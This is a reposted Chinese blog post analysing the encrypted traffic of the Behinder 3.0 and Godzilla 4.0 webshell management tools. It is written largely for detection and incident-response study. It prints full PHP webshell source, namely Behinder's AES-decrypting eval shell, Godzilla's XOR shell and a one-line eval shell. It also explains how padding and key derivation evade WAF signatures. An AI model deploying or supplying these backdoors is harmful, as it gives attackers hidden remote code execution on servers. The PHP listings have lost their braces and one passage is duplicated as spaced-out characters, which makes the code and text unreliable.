Shell管理工具流量分析-下(冰蝎 3.0哥斯拉 4.0 流量分析)
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Shell管理工具流量分析-下(冰蝎 3.0哥斯拉 4.0 流量分析)相关的知识,希望对你有一定的参考价值。
书接上篇,再分析冰蝎 2.0 之后来看一看 3.0 拥有那些新特性
文章目录
冰蝎
3.0流量
冰蝎 3.0 php shell,我这里使用的冰蝎版本为 V3.0 beta 9 fixed
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++)
$post[$i] = $post[$i]^$key[$i+1&15];
else
$post=openssl_decrypt($post, "AES128", $key);
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class Cpublic function __invoke($p) eval($p."");
@call_user_func(new C(),$params);
?>
从 shell 代码可以看出,不再使用随机生成 key,改为对密码的 md5 加密,修改了 ui 的框架,界面由 swt 改为 javafx
3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,aes 密钥变为 md5("pass")[0:16]
意思就是为连接密码 32 位 md5 的前 16 位。全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息
使用网站对第一次请求数据解密
http://tools.bugscaner.com/cryptoaes/
密钥就是 webshell 代码中的 key,AES 解密后在进行 base64 解密
解密后的冰蝎请求中的 PHP 代码
@error_reporting(0);
function main($content)
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
function encrypt($data,$key)
if(!extension_loaded('openssl'))
for($i=0;$i<strlen($data);$i++)
$data[$i] = $data[$i]^$key[$i+1&15];
return $data;
else
return openssl_encrypt($data, "AES128", $key);
$content="bmZOS1NVNVEzdWE5TWp3VFZ5T.............................";$content=base64_decode($content);
main($content);
其中 c o n t e n t 这 个 变 量 名 称 和 里 面 的 内 容 为 随 机 生 成 的 , 目 的 是 为 了 绕 过 ‘ content 这个变量名称和里面的内容为随机生成的, 目的是为了绕过 ` content这个变量名称和里面的内容为随机生成的,目的是为了绕过‘Content-Length`
将第一次响应头中的数据进行 aes -> base64 解密
base64 解密之后
"status":"success","msg":"anozNGkxcTZ5Mmd2dFUybEMxREpwR3........."
message 是一段超极长的字符串,分析冰蝎请求中的 PHP 代码,发现他就是 content 经过 base64 -> aes 加密后生成的,作用和请求中的 content 一致都是绕过 $Content-Length
"status":"success","msg":
这个返回数据特征已经在冰蝎 2.0 中已经被加入了Waf的检测规则当中,所以在冰蝎 3.0 当中用超大数据填充的方式绕过
思考一个问题,冰蝎 3.0 C/S 之间并没有传输密码,那么冰蝎是如何判断密码时候正确的?
其实这个问题,在分析流量时已经很明确了,首先冰蝎采用的是 AES 对称密钥加密,使用密钥 K 加密的数据必须使用密钥 K 解密,而冰蝎 3.0 webshell 中已经固定了这个密钥 K 即连接密码 MD5 值的前16位
以默认连接密码 rebeyond 为例,整个密码验证流程如下:
-
客户端(黑客)使用冰蝎连接输入密码 rebeyond ,冰蝎客户端对密码进行 MD5 加密,密钥为加密后值的前 16 位,连接数据使用其进行 AES 加密
-
这个密钥即 MD5 值前 16 位已经在服务端写死了并加入 session,服务端直接从 session 中去除 K 值进行 AES解密,完成整个通信流程
$key = $_SESSION['k']; echo encrypt(json_encode($result),$key);
功能原理分析
冰蝎 Behinder 功能原理
- 《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
- 《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
- 《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
- 《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774
哥斯拉
项目地址:https://github.com/BeichenDream/Godzilla
开发者 BeichenDream 是个年轻的大佬
哥斯拉内置了3种Payload以及6种加密器,6种支持脚本后缀,20个内置插件
- 哥斯拉全部类型的 shell 均过市面所有静态查杀
- 哥斯拉流量加密过市面全部流量 waf
- 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的
使用介绍
可以使用管理 -> 生成功能生成 Shell(使用版本 v4.0.1)
Java 和 C# 的载荷原生实现 AES 加密,PHP 使用异或加密
将 webshell 上传至目标主机使用哥斯拉连接即可,注意这里的有效载荷、加密器等需要和生成时配置一致
注意这里的密码
就是POST请求中的参数名称,而密钥
用于对请求数据进行加密,实际使用密钥的 md5 值,因为哥斯拉支持代理功能这里可以设置为 burp,抓包更简单
burp 中配置 proxy options
哥斯拉同样支持请求头中的数据可以在请求配置选项中修改
也可以在配置->程序配置->全局协议头中进行修改
在哥斯拉主页右击会话点击进入就可以进入 shell 管理界面
具体使用可以看这篇文章:攻防礼盒:哥斯拉Godzilla Shell管理工具
PHP加密器分析
webshell分析
PHP Shell 有如下的加密器
eval_xor_base64 就是一个最简单的 webshell,不再分析
<?php
eval($_POST["pass"]);
php_xor_base64
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K)
for($i=0;$i<strlen($D);$i++)
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
return $D;
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass]))
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName]))
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false)
$payload=encode($payload,$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
else
if (strpos($data,"getBasicsInfo")!==false)
$_SESSION[$payloadName]=encode($data,$key);
首先分析一下 webshell
其中encode
函数,用于加密或解密请求数据。由于是通过按位异或实现的加密,所以encode
函数即可用于加密,同时也可用于解密
可以看到哥斯拉中同样使用了冰蝎相同的 K 即 key 的 MD5 值的前 16 位
流量分析
连接时抓包发现哥斯拉建立连接时会发起三次请求
第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie
值,并且第2个请求中只有少量的数据,需要注意的是再 哥斯拉4.0 中即使使用的是 base64 加密流量中却是乱码,再之前版本中流量为 base64 字符串
当然不同的加密器原理不尽相同,之后有时间看其他的加密器
以上是关于Shell管理工具流量分析-下(冰蝎 3.0哥斯拉 4.0 流量分析)的主要内容,如果未能解决你的问题,请参考以下文章
Shell管理工具流量分析-上(菜刀蚁剑冰蝎2.0流量分析)&入侵检测应急响应资料整理